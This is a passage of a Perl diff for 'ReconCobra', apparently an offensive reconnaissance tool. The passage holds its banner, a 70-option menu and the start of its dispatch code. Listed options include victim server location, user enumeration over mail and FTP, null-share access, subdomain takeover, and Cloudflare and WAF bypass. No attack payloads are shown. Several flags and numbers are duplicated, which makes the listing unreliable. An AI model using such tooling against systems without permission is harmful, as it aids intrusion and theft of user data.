cyan'),"# "; + print item('8'),"Reverse IP Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -h site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('9'),"Forward IP Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -i site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('10'),"Reverse DNS Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -j site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('11'),"Forward DNS Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -k site.com"; + print color('bold cyan')," # \n",line_d(); + + + print color('bold cyan'),"# "; + print item('12'),"Shared DNS Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -l site.com"; + print color('bold cyan')," # \n",line_d(); + + + print color('bold cyan'),"# "; + print item('13'),"Complete Subdomain Scanner "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -m site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('14'),"Technology lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -n site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('15'),"Website Recon "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -o site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('16'),"Metadata Crawler "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -p site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('17'),"Metadata Googler "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -r site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('18'),"Subdomain Scanner "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -s site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('19'),"Subdomain Takeover "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -t site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('20'),"Brute Subdomains "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -u site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('21'),"Brute DNS Subdomains "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -v site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('22'),"Configuration Errors "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -x site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('23'),"Find ASN "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -y site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('24'),"Find Netblocks "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -z site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('25'),"Capture Screenshots "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -A site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('26'),"Find Nearest Servers to Victim "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -B site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('27'),"Sweep Netblocks & Resolve "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -C site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('28'),"Load DNS Hacking Suite Panthera "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -D site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('29'),"Find Emails and Names "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -E site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('30'),"Find Contact Information "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -F site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('31'),"Common Nmap Port Scan "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -G site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('32'),"Ping Hop and Firewalk "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -H site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('33'),"Find Internal Networks & Sweep "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -I site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('34'),"Decoy Scan & Generate Metasploit "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -J site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('35'),"Find SSL Bugs & Information "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -K site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('36'),"Extract Users via FTP "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -I site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('37'),"Extract Users via POP3 "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -J site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('38'),"Extract Users via IMAP "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -K site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('39'),"Extract Users via SMTP "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -L site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('40'),"Extract Users via Form "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -M site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('41'),"Extract Full Possible Information "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -N site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('42'),"Extract Possible Information from Certificates "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -O site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('43'),"Find Victim HTTPS Leaked Data "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -P site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('44'),"Find Users via sitemap "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -Q site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('45'),"Find Directories from robots.txt "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -R site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('46'),"Find all accounts by user "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -S site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('47'),"Find all accounts by email "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -T site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('48'),"Find all tags by account "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -U site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('49'),"DNS History "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -V site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('50'),"Passive DNS Search "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -W site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('51'),"Use Common Crawl on Target "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -X site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('52'),"Hostname to IP "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -Y site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('53'),"Reverse NS Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -Z site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('54'),"Forward NS Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aa site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('55'),"Win - Extract Netbios Information "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ab site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('56'),"Win - Contact & Extract Null Shares IPC\$"; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ac site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('57'),"Win - Gather Full Information via Netbios "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ad site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('58'),"Win - Connect to Open Netbios "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ae site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('59'),"Invisible Port Scanner "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -af site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('59'),"Bypass Cloud Flare "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ag site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('60'),"DNS Cached Records "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ah site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('61'),"Bypass Content Management System Waf Firewall "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ai site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('62'),"Shared NS "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aj site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('63'),"Master Domain Subdomain Subnet Scanner "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ak site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('64'),"Domain Certificate Subdomain Enumeration "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -al site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('65'),"Find Subdomains using API Searcher "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -am site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('66'),"Find Cname Information of netblock "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -an site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('67'),"Endpoints Extraction "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ao site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('68'),"Check misconfigured Cross Origin Resource Sharing "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ap site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('69'),"Wayback Web Downloader "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ar site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('70'),"Link Finder "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ao site.com"; + print color('bold cyan')," # \n",line_d(); + + +} + +#--------------------------------------------------------------# +# Banner # +#--------------------------------------------------------------# +sub banner { + if ($^O =~ /MSWin32/) {system("mode con: cols=130 lines=40");system("cls"); }else { system("resize -s 40 130");system("clear"); } + +print color('bold green on_black'); +print" ▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████#\n"; +print" ███####███#███####███###███####███###███####███###███####███#\n"; +print" ███####█▀##███####███###███####███###███####███###███####███#\n"; +print" ███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███#\n"; +print" ███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████#\n"; +print" ███####█▄##███####███###███####██▄#▀███████████###███####███#\n"; +print" ███####███#███####███###███####███###███####███###███####███#\n"; +print" ████████▀###▀██████▀##▄█████████▀####███####███###███####█▀##\n"; +print" #####################################███####███##############\n"; +print color('reset'); +print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; +print color('reset'); + +print color('bold red on_blue')," Mail ";print color('reset'),"";print color('bold red')," mrharoonawan\@gmail.com\n"; +print color('reset'); + +print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; +print color('reset'); + +print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; +print color('reset'); + +print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\Hacker_Universe\n"; +print color('reset'); + + + + +print color('bold cyan'),"\n #---------------------------------------------------------# \n"; +print color('bold cyan')," # ";print color('bold magenta')," Ultimate Reconnaissance for Information Gathering "; print color('bold cyan')," # \n"; +print color('bold cyan')," #---------------------------------------------------------# \n"; +} +#--------------------------------------------------------------# +# Menu # +#--------------------------------------------------------------# +sub menu { + print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('4'),"Basic Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('8'),"Reverse IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('9'),"Forward IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('10'),"Reverse DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('11'),"Forward DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('12'),"Shared DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('13'),"Technology lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('14'),"Website Recon";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('15'),"Metadata Crawler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('16'),"Metadata Googler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('17'),"Subdomain Scanner using Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('18'),"Subdomain Takeover Scanner using file";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('19'),"Brute Subdomains using nmap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('20'),"Brute DNS Subdomains";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('21'),"Find Configuration Errors on Target using google";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('22'),"Find ASN";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('23'),"Find Netblocks";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('24'),"Capture Screenshots";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('25'),"Find Nearest Servers to Victim";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('26'),"Sweep Netblocks & Resolve";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('27'),"Load DNS Hacking Suite Panthera";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('28'),"Find Emails and Names";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('29'),"Find Contact Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('30'),"Common Nmap Port Scan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('31'),"Ping Hop and Firewalk";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('32'),"Find Internal Networks & Sweep";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('33'),"Decoy Scan & Generate Metasploit Data";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('34'),"Find SSL Bugs & Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('35'),"Extract Users via FTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('36'),"Extract Users via POP3";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('37'),"Extract Users via IMAP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('38'),"Extract Users via SMTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('39'),"Extract Users via Form";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('40'),"Extract Full Possible Information via SNMP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('41'),"Extract Possible Information from Certificates";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('42'),"Find Victim HTTPS Leaked Data ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('43'),"Find Users via sitemap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('44'),"Find Directories from robots.txt";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('45'),"Find all accounts by user";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('46'),"Find all accounts by email";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('47'),"Find all tags by account";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('51'),"Hostname to IP Resolver using Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('55'),"Win - Contact & Extract Null Shares IPC\$";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('56'),"Win - Gather Full Information via Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('57'),"Win - Connect to Open Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('58'),"Invisible Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('59'),"Bypass Cloud Flare";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('60'),"DNS Cached Records";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('61'),"Bypass Content Management System Waf Firewall";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('62'),"Shared NS";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('63'),"Master Domain Subdomain Subnet Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nC0bra: _> "; + print color('reset'); + + chomp($number=); + + if($number eq '1'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($info=); + print "\n"; + Websiteinformation(); + enter(); + }if($number eq '2'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($whois=); + print "\n"; + Domainwhoislookup(); + enter(); + }if($number eq '3'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($geo=); + print "\n"; + Findiplocation(); + enter(); + }if($number eq '4'){ + banner(); + port(); + enter(); + }if($number eq '5'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($sub=); + print "\n"; + DNS_Whois_Lookup(); + enter(); + }if($number eq '6'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($revwhoiis=); + print "\n"; + revwhois(); + enter(); + }if($number eq '7'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($dnszt=); + print "\n"; + DNSzonetransfers(); + enter(); + }if($number eq '8'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($rev=); + print "\n"; + revip(); + enter(); + }if($number eq '9'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($fwdip=); + print "\n"; + Forwardiplookup(); + enter(); + }if($number eq '10'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($revdns=); + print "\n"; + Reversednslookup(); + enter(); + }if($number eq '11'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($fwddns=); + print "\n"; + Forwardnslookup(); + enter(); + }if($number eq '12'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($shrdns=); + print "\n"; + Shareddnslookup(); + enter(); + }if($number eq '13'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($techlookup=); + print "\n"; + Technologylookup(); + enter(); + }if($number eq '14'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($webrecon=); + print "\n"; + Websiterecon(); + enter(); + }if($number eq '15'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($mdc=); + print "\n"; + Metadatacrawler(); + enter(); + }if($number eq '16'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($mgd=); + print "\n"; + Metadatagoogler(); + enter(); + }if($number eq '17'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($sbds=); + print "\n"; + Subdomainscanner(); + enter(); + }if($number eq '18'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($sbtk=); + print "\n"; + Subdomaintakeover(); + enter(); + }if($number eq '19'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($brtd=); + print "\n"; + Brutedomain(); + enter(); + }if($number eq '20'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($brtdns=); + print "\n"; + Brutednsdomain(); + enter(); + }if($number eq '21'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($cfe=); + print "\n"; + Configerrors(); + enter(); + }if($number eq '22'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($fasn=); + print "\n"; + Findasn(); + enter(); + }if($number eq '23'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($fnb=); + print "\n"; + Findnetblock(); + enter(); + }if($number eq '24'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($cpshots=); + print "\n"; + Capturescreenshots(); + enter(); + }if($number eq '25'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($findnear=); + print "\n"; + nearestvictim(); + enter(); + }if($number eq '26'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($snb=); + print "\n"; + Sweepandnetblock(); + enter(); + }if($number eq '27'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($panthera=); + print "\n"; + Panthera(); + enter(); + }if($number eq '28'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($enames=); + print "\n"; + Findemailsandnames(); + enter(); + }if($number eq '29'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($findci=); + print "\n"; + Findcontactinformation(); + enter(); + }if($number eq '30'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($cpscan=); + print "\n"; + Commonnmapportscan(); + enter(); + }if($number eq '31'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($phin=); + Pinghopandinternalnetworks(); + enter(); + }if($number eq '32'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold 